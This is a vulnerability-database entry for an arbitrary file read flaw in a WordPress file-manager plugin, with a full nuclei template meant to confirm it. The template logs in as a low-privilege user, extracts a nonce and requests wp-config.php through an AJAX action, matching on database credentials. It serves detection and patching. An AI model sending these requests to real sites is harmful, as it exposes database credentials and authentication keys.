Browse / CVEs / CVE-2026-11565
CVE-2026-11565· saad-iqbal / file-manager-advanced· CWE-862
WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read
highseverity
8.5CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it
The Advanced File Manager WordPress plugin before 5.4.13 does not perform capability checks in several of its file management AJAX actions, allowing users with any role to which an administrator has granted file-manager access (as low as Subscriber) to read arbitrary files on the server.
Impact
Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.
Fix
Update to version 5.4.13 or later.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=file_manager_advanced_ui
Send: GET /wp-admin/admin-ajax.php?action=fma_load_fma_ui&_fmakey={{nonce}}&cmd=get&target=l1_d3AtY29uZmlnLnBocA
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "DB_NAME", "DB_PASSWORD")Run it with nuclei: nuclei -id CVE-2026-11565 -u <target>
The full check
id: CVE-2026-11565
info:
name: WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read
author: anirbala98
severity: high
description: |
The Advanced File Manager WordPress plugin before 5.4.13 does not perform capability checks in several of its file management AJAX actions, allowing users with any role to which an administrator has granted file-manager access (as low as Subscriber) to read arbitrary files on the server.
impact: |
Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.
remediation: |
Update to version 5.4.13 or later.
reference:
- https://wpscan.com/vulnerability/5e03858d-db0b-4b65-99cc-eb01ad4195e9/
- https://nvd.nist.gov/vuln/detail/CVE-2026-11565
- https://wordpress.org/plugins/file-manager-advanced/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2026-11565
epss-score: 0.01254
epss-percentile: 0.69708
cwe-id: CWE-862
metadata:
verified: true
max-request: 3
vendor: saad-iqbal
product: file-manager-advanced
framework: wordpress
fofa-query: body="/wp-content/plugins/file-manager-advanced/"
tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager-advanced,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=file_manager_advanced_ui HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- 'var afm_object = \{[^}]*"nonce":"([a-f0-9]+)"'
internal: true
- raw:
- |
GET /wp-admin/admin-ajax.php?action=fma_load_fma_ui&_fmakey={{nonce}}&cmd=get&target=l1_d3AtY29uZmlnLnBocA HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
condition: andReferences
- https://wpscan.com/vulnerability/5e03858d-db0b-4b65-99cc-eb01ad4195e9/
- https://nvd.nist.gov/vuln/detail/CVE-2026-11565
- https://wordpress.org/plugins/file-manager-advanced/
Use this check only on systems you are authorised to test. Where the data comes from